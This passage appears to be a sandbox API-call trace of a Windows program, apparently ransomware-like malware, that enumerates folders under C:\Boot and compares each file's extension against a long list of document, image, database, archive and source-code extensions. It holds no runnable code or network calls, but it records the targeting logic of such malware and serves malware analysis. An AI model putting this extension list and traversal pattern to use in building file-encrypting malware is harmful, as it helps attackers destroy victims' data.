lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".pptm") returned 5 [0087.700] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0087.700] lstrlenW (lpString=".pptx") returned 5 [0087.700] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0087.700] lstrlenW (lpString=".prn") returned 4 [0087.700] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".ps") returned 3 [0087.700] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0087.700] lstrlenW (lpString=".psb") returned 4 [0087.700] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".psd") returned 4 [0087.700] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".pst") returned 4 [0087.700] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".ptx") returned 4 [0087.700] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".pub") returned 4 [0087.700] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".pwm") returned 4 [0087.700] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0087.701] lstrlenW (lpString=".pxr") returned 4 [0087.701] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0087.701] lstrlenW (lpString=".py") returned 3 [0087.701] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0087.701] lstrlenW (lpString=".qt") returned 3 [0087.701] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0087.701] lstrlenW (lpString=".r3d") returned 4 [0087.701] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0087.701] lstrlenW (lpString=".raf") returned 4 [0087.701] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0087.701] lstrlenW (lpString=".rar") returned 4 [0087.701] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.701] lstrlenW (lpString=".raw") returned 4 [0087.701] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0087.701] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0087.701] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0087.701] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0087.701] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.701] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0087.850] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0087.851] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0087.851] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0087.851] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0087.851] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\da-DK") returned 1 [0087.851] lstrlenW (lpString="da-DK") returned 5 [0087.851] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-DK") returned -1 [0087.851] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.852] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0087.852] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0087.866] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.866] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.866] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0087.866] lstrlenW (lpString=".1cd") returned 4 [0087.866] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.866] lstrlenW (lpString=".3ds") returned 4 [0087.866] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0087.866] lstrlenW (lpString=".3fr") returned 4 [0087.866] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0087.866] lstrlenW (lpString=".3g2") returned 4 [0087.866] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0087.866] lstrlenW (lpString=".3gp") returned 4 [0087.867] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0087.867] lstrlenW (lpString=".7z") returned 3 [0087.867] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.867] lstrlenW (lpString=".accda") returned 6 [0087.867] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0087.867] lstrlenW (lpString=".accdb") returned 6 [0087.867] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0087.867] lstrlenW (lpString=".accdc") returned 6 [0087.867] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0087.867] lstrlenW (lpString=".accde") returned 6 [0087.867] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0087.867] lstrlenW (lpString=".accdt") returned 6 [0087.867] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0087.867] lstrlenW (lpString=".accdw") returned 6 [0087.867] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0087.867] lstrlenW (lpString=".adb") returned 4 [0087.867] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0087.867] lstrlenW (lpString=".adp") returned 4 [0087.867] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0087.867] lstrlenW (lpString=".ai") returned 3 [0087.867] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0087.867] lstrlenW (lpString=".ai3") returned 4 [0087.867] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0087.867] lstrlenW (lpString=".ai4") returned 4 [0087.867] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0087.867] lstrlenW (lpString=".ai5") returned 4 [0087.868] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".ai6") returned 4 [0087.868] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".ai7") returned 4 [0087.868] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".ai8") returned 4 [0087.868] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".anim") returned 5 [0087.868] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0087.868] lstrlenW (lpString=".arw") returned 4 [0087.868] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".as") returned 3 [0087.868] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0087.868] lstrlenW (lpString=".asa") returned 4 [0087.868] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".asc") returned 4 [0087.868] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".ascx") returned 5 [0087.868] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0087.868] lstrlenW (lpString=".asm") returned 4 [0087.868] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".asmx") returned 5 [0087.868] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0087.868] lstrlenW (lpString=".asp") returned 4 [0087.868] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0087.868] lstrlenW (lpString=".aspx") returned 5 [0087.869] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0087.869] lstrlenW (lpString=".asr") returned 4 [0087.869] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".asx") returned 4 [0087.869] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".avi") returned 4 [0087.869] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".avs") returned 4 [0087.869] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".backup") returned 7 [0087.869] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0087.869] lstrlenW (lpString=".bak") returned 4 [0087.869] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".bay") returned 4 [0087.869] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".bd") returned 3 [0087.869] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0087.869] lstrlenW (lpString=".bin") returned 4 [0087.869] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".bmp") returned 4 [0087.869] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".bz2") returned 4 [0087.869] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.869] lstrlenW (lpString=".c") returned 2 [0087.869] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0087.869] lstrlenW (lpString=".cdr") returned 4 [0087.869] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".cer") returned 4 [0087.870] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".cf") returned 3 [0087.870] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0087.870] lstrlenW (lpString=".cfc") returned 4 [0087.870] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".cfm") returned 4 [0087.870] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".cfml") returned 5 [0087.870] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0087.870] lstrlenW (lpString=".cfu") returned 4 [0087.870] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".chm") returned 4 [0087.870] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".cin") returned 4 [0087.870] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".class") returned 6 [0087.870] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0087.870] lstrlenW (lpString=".clx") returned 4 [0087.870] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".config") returned 7 [0087.870] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0087.870] lstrlenW (lpString=".cpp") returned 4 [0087.870] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0087.870] lstrlenW (lpString=".cr2") returned 4 [0087.870] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".crt") returned 4 [0087.871] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".crw") returned 4 [0087.871] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".cs") returned 3 [0087.871] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0087.871] lstrlenW (lpString=".css") returned 4 [0087.871] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".csv") returned 4 [0087.871] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".cub") returned 4 [0087.871] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".dae") returned 4 [0087.871] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".dat") returned 4 [0087.871] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".db") returned 3 [0087.871] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0087.871] lstrlenW (lpString=".dbf") returned 4 [0087.871] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".dbx") returned 4 [0087.871] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".dc3") returned 4 [0087.871] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0087.871] lstrlenW (lpString=".dcm") returned 4 [0087.872] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".dcr") returned 4 [0087.872] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".der") returned 4 [0087.872] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".dib") returned 4 [0087.872] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".dic") returned 4 [0087.872] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".dif") returned 4 [0087.872] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".divx") returned 5 [0087.872] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0087.872] lstrlenW (lpString=".djvu") returned 5 [0087.872] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0087.872] lstrlenW (lpString=".dng") returned 4 [0087.872] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".doc") returned 4 [0087.872] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".docm") returned 5 [0087.872] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0087.872] lstrlenW (lpString=".docx") returned 5 [0087.872] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.872] lstrlenW (lpString=".dot") returned 4 [0087.872] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0087.872] lstrlenW (lpString=".dotm") returned 5 [0087.873] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0087.873] lstrlenW (lpString=".dotx") returned 5 [0087.873] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0087.873] lstrlenW (lpString=".dpx") returned 4 [0087.873] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".dqy") returned 4 [0087.873] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".dsn") returned 4 [0087.873] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".dt") returned 3 [0087.873] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0087.873] lstrlenW (lpString=".dtd") returned 4 [0087.873] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".dwg") returned 4 [0087.873] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".dwt") returned 4 [0087.873] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".dx") returned 3 [0087.873] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0087.873] lstrlenW (lpString=".dxf") returned 4 [0087.873] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".edml") returned 5 [0087.873] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0087.873] lstrlenW (lpString=".efd") returned 4 [0087.873] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0087.873] lstrlenW (lpString=".elf") returned 4 [0087.874] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".emf") returned 4 [0087.874] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".emz") returned 4 [0087.874] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".epf") returned 4 [0087.874] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".eps") returned 4 [0087.874] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".epsf") returned 5 [0087.874] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0087.874] lstrlenW (lpString=".epsp") returned 5 [0087.874] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0087.874] lstrlenW (lpString=".erf") returned 4 [0087.874] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".exr") returned 4 [0087.874] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".f4v") returned 4 [0087.874] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".fido") returned 5 [0087.874] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0087.874] lstrlenW (lpString=".flm") returned 4 [0087.874] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".flv") returned 4 [0087.874] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0087.874] lstrlenW (lpString=".frm") returned 4 [0087.875] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".fxg") returned 4 [0087.875] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".geo") returned 4 [0087.875] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".gif") returned 4 [0087.875] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".grs") returned 4 [0087.875] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".gz") returned 3 [0087.875] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0087.875] lstrlenW (lpString=".h") returned 2 [0087.875] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0087.875] lstrlenW (lpString=".hdr") returned 4 [0087.875] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".hpp") returned 4 [0087.875] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".hta") returned 4 [0087.875] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".htc") returned 4 [0087.875] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".htm") returned 4 [0087.875] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0087.875] lstrlenW (lpString=".html") returned 5 [0087.875] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0087.876] lstrlenW (lpString=".icb") returned 4 [0087.876] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".ics") returned 4 [0087.876] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".iff") returned 4 [0087.876] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".inc") returned 4 [0087.876] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".indd") returned 5 [0087.876] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0087.876] lstrlenW (lpString=".ini") returned 4 [0087.876] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".iqy") returned 4 [0087.876] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".j2c") returned 4 [0087.876] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".j2k") returned 4 [0087.876] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".java") returned 5 [0087.876] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0087.876] lstrlenW (lpString=".jp2") returned 4 [0087.876] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".jpc") returned 4 [0087.876] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0087.876] lstrlenW (lpString=".jpe") returned 4 [0087.876] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".jpeg") returned 5 [0087.877] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0087.877] lstrlenW (lpString=".jpf") returned 4 [0087.877] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".jpg") returned 4 [0087.877] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".jpx") returned 4 [0087.877] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".js") returned 3 [0087.877] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0087.877] lstrlenW (lpString=".jsf") returned 4 [0087.877] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".json") returned 5 [0087.877] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0087.877] lstrlenW (lpString=".jsp") returned 4 [0087.877] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".kdc") returned 4 [0087.877] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".kmz") returned 4 [0087.877] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".kwm") returned 4 [0087.877] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0087.877] lstrlenW (lpString=".lasso") returned 6 [0087.877] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0087.877] lstrlenW (lpString=".lbi") returned 4 [0087.877] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".lgf") returned 4 [0087.878] 